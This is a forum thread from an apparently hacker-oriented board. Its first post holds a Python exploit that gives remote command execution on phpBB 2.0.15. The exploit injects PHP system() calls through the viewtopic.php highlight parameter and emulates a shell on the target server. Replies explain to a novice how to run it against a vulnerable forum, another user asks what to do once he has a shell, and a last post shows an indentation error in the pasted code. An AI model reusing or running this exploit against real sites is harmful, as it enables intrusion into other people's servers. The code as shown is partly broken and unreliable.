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www.waraxe.us Forum Index -> PhpBB -> phpBB <= 2.0.15 viewtopic.php Remote PHP Code Execution
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phpBB <= 2.0.15 viewtopic.php Remote PHP Code Execution
PostPosted: Thu Jun 30, 2005 1:13 pm Reply with quote
kwiateusz
Beginner
Beginner
 
Joined: Jun 30, 2005
Posts: 2
Location: Poland




Code:
# tested and working /str0ke

#!/usr/bin/pyth0n
#
###############################################################  this exploit for
                                                              #  phpBB 2.0.15
print "\nphpBB 2.0.15 arbitrary command execution eXploit"    #  emulates a shell,
print " 2005 by rattle@awarenetwork.org"                      #  rather than
print " well, just because there is none."                    #  sending a single
                                                              #  command.
import sys                                                 ####
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus

INITTAG = '<g0>'
ENDTAG  = '</g0>'

def makecmd(cmd):
    return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))


_ex  = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"


def usage():

    print """Usage: %s <forum> <topic>
 
    forum - fully qualified url to the forum
            example: http://www.host.com/phpBB/

    topic - ID of an existing topic. Well you
            will have to check yourself.

"""[:-1] % sys.argv[0]; sys.exit(1)


if __name__ == '__main__':

    if len(sys.argv) < 3 or not sys.argv[2].isdigit():
        usage()
    else:
        print
        url = sys.argv[1]
        if url.count("://") == 0:
            url = "http://" + url
        url = list(urlparse(url))
        host = url[1]
        if not host: usage()

        if not url[0]: url[0] = 'http'
        if not url[2]: url[2] = '/'
        url[3] = url[4] = url[5] = ''

        url = urlunparse(url)
   if url[-1] != '/': url += '/'

        topic = quote_plus((sys.argv[2]))

        while 1:

            try:
                cmd = raw_input("[%s]$ " % host).strip()
                if cmd[-1]==';': cmd=cmd[:-1]

                if (cmd == "exit"): break
                else: cmd = makecmd(cmd)
      
      out = _ex % (url,topic,cmd)

                try: ret = urlopen(Request(out)).read()
                except KeyboardInterrupt: continue
                except: pass

                else:
                    ret = ret.split(INITTAG,1)
                    if len(ret)>1: ret = ret[1].split(ENDTAG,1)
                    if len(ret)>1:
                        ret = ret[0].strip();
                        if ret: print ret
                        continue;

                print "EXPLOIT FAILED"

            except:
                continue


how i can compile this exploit ??
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PostPosted: Thu Jun 30, 2005 1:18 pm Reply with quote
subzero
Valuable expert
Valuable expert
 
Joined: Mar 16, 2005
Posts: 42




Crying or Very sad

go download python windows binaries first. www.python.org

after install go to command prompt and type
file name and vulnerable url with topic id

example

> shit.py http://www.host.com/phpBB/ 532

then u get nice shell emu prompt
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PostPosted: Thu Jun 30, 2005 2:11 pm Reply with quote
kwiateusz
Beginner
Beginner
 
Joined: Jun 30, 2005
Posts: 2
Location: Poland




thx very much Smile
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? k
PostPosted: Thu Jun 30, 2005 3:35 pm Reply with quote
badboy
Regular user
Regular user
 
Joined: Jun 29, 2005
Posts: 5




once i get a shell promt what can i do can u post some things you can do and how to do them if you can

thanks
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PostPosted: Thu Jun 30, 2005 5:29 pm Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Why is everything Windows these Days? Surely people would notice there are better OS's out there....

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Thu Jun 30, 2005 5:42 pm Reply with quote
diaga
Regular user
Regular user
 
Joined: Jun 27, 2005
Posts: 22




File "C:\Documents and Settings\my\Desktop\shit.py", line 59
if url[-1] != '/': url += '/'
^
IndentationError: unindent does not match any outer indentation level
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phpBB <= 2.0.15 viewtopic.php Remote PHP Code Execution
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